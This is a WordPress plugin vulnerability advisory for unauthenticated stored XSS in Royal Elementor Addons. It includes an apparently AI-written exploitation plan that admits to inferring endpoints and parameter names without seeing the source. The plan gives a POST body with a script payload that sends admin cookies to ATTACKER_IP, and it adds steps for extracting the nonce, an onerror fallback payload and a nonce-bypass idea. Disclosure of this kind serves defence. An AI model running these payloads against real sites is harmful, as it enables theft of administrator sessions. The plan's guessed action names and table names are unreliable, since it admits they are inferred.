Royal Elementor Addons < 1.7.1041 - Unauthenticated Stored Cross-Site Scripting
Description
The Royal Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 1.7.1041 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<1.7.1041Source Code
WordPress.org SVNPatched version not available.
This research plan focuses on **CVE-2026-40720**, a Stored Cross-Site Scripting vulnerability in Royal Elementor Addons Pro. Since the source files were not provided, this plan is based on the vulnerability description and common architectural patterns found in Royal Elementor Addons (WPR). --- ##…
Show full research plan
This research plan focuses on CVE-2026-40720, a Stored Cross-Site Scripting vulnerability in Royal Elementor Addons Pro. Since the source files were not provided, this plan is based on the vulnerability description and common architectural patterns found in Royal Elementor Addons (WPR).
1. Vulnerability Summary
The Royal Elementor Addons Pro plugin fails to adequately sanitize and escape user-supplied data submitted via an unauthenticated endpoint. This data is stored in the database (likely as a form submission, lead, or log entry) and subsequently rendered in the WordPress administrative dashboard or a frontend page without proper output escaping (e.g., using esc_html()). An unauthenticated attacker can inject a malicious <script> payload that executes when an administrator views the stored data.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/admin-ajax.php - Vulnerable AJAX Action:
wpr_addons_contact_form_submit(inferred based on plugin features) or a similar handler for the "Contact Form" or "Forms" widget. - HTTP Parameter: Typically
wpr_contact_form_messageor a field index likefield_1,field_2, etc. - Authentication: None (Unauthenticated).
- Preconditions: A page must exist containing a Royal Elementor "Contact Form" or "Lead" widget.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=wpr_addons_contact_form_submit. - Processing: The plugin's AJAX handler (likely in
modules/forms/orclasses/wpr-ajax-handler.php) receives the input. - Storage: The input is saved using
add_post_meta()(as a submission CPT) or inserted into a custom table (e.g.,{$wpdb->prefix}wpr_submissions) without rigorous sanitization (missingwp_kses()orsanitize_text_field()). - Sink: An administrator visits the "Royal Addons -> Submissions" (or similar) menu in the dashboard. The plugin retrieves the data and echoes it directly into the HTML table/view without
esc_html().
4. Nonce Acquisition Strategy
Royal Elementor Addons Pro typically localizes AJAX configuration data for its widgets.
- Identify Shortcode: The relevant widget is the "Contact Form".
- Setup: Create a test page containing the Royal Contact Form.
# Create page with Royal Contact Form widget (represented via shortcode/block) wp post create --post_type=page --post_title="Contact Test" --post_status=publish --post_content='[wpr-contact-form id="123"]' - Navigate: Use
browser_navigateto visit the newly created page. - Extraction: Use
browser_evalto extract the nonce.- Candidate JS Object:
WPRConfigorWPR_Addons_Data. - Candidate Key:
ajax_nonceornonce. - Command:
browser_eval("window.WPRConfig?.ajax_nonce")
- Candidate JS Object:
5. Exploitation Strategy
Step 1: Reconnaissance
Locate the AJAX action and nonce key by inspecting the page source of a page containing a Royal form. Search for wp_localize_script output.
Step 2: Payload Injection
Submit the malicious payload via the http_request tool.
- URL:
https://TARGET/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wpr_addons_contact_form_submit& nonce=[EXTRACTED_NONCE]& wpr_contact_form_name=Attacker& wpr_contact_form_email=attacker@evil.com& wpr_contact_form_message=<script>alert(document.domain);fetch('http://ATTACKER_IP/log?c='+document.cookie);</script>
Step 3: Triggering the XSS
The payload is now stored. To execute it:
- Log in as an Administrator.
- Navigate to the submissions management page:
/wp-admin/admin.php?page=wpr-submissions(inferred). - The browser will execute the script upon rendering the list of submissions.
6. Test Data Setup
- Install Plugin: Ensure
wpr-addons-pro(version < 1.7.1041) is active. - Create Form: Use the Elementor editor to add a "Royal Contact Form" to a page. If using CLI:
wp post create --post_type=page --post_title="Exploit Page" --post_status=publish --post_content='<!-- wp:royal-elementor-addons/contact-form /-->' - Capture ID: Note the Post ID to navigate to it for nonce extraction.
7. Expected Results
- Response to Injection: The AJAX request should return a success message (e.g.,
{"success":true}). - Database State: The
wp_postmetaor custom submission table will contain the raw<script>tag. - Execution: When viewing the submission in the admin panel, an alert box appearing or a network request to an external server confirms XSS.
8. Verification Steps
- Check Database: Use WP-CLI to verify the payload is stored unescaped.
# Search for the payload in postmeta (if stored as CPT) wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_value LIKE '%<script>%';" # Or search the custom table (adjust table name based on discovery) wp db query "SELECT * FROM wp_wpr_submissions WHERE message LIKE '%<script>%';" - Verify Admin UI: Use
browser_navigateto the submissions page and check for the injected script in the DOM.
9. Alternative Approaches
- Lead Generation Widget: If the Contact Form isn't the entry point, check the "Lead Popups" or "Subscription" widgets, which use similar logic for capturing unauthenticated user data.
- Tracking Parameters: Check if the plugin logs unauthenticated URL parameters (like UTM tags) into an admin dashboard view.
- Different Payloads: Use an
<img>tag withonerrorif<script>tags are partially filtered:<img src=x onerror="alert(1)"> - Bypass Nonce: Check if the
wpr_addons_contact_form_submithandler (or similar) callscheck_ajax_refererwith the third argument$dieset tofalse, effectively ignoring the result of the nonce check.
Summary
The Royal Elementor Addons Pro plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) via its contact form and lead generation widgets. Attackers can submit malicious scripts through unauthenticated AJAX form handlers, which are stored in the database and executed when an administrator views the submissions in the WordPress dashboard.
Exploit Outline
1. Identify a page containing a Royal Elementor Addons 'Contact Form' or 'Lead' widget. 2. Extract the AJAX nonce from the localized JavaScript configuration object (usually 'WPRConfig' or 'WPR_Addons_Data') present on the page. 3. Send a POST request to 'wp-admin/admin-ajax.php' with the action 'wpr_addons_contact_form_submit' (or a similar form handler action). 4. Include the extracted nonce and a malicious script payload (e.g., <script>alert(1)</script>) in a form field parameter such as 'wpr_contact_form_message'. 5. Wait for an administrator to view the 'Submissions' management page in the WordPress dashboard, at which point the stored script will execute in their session context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.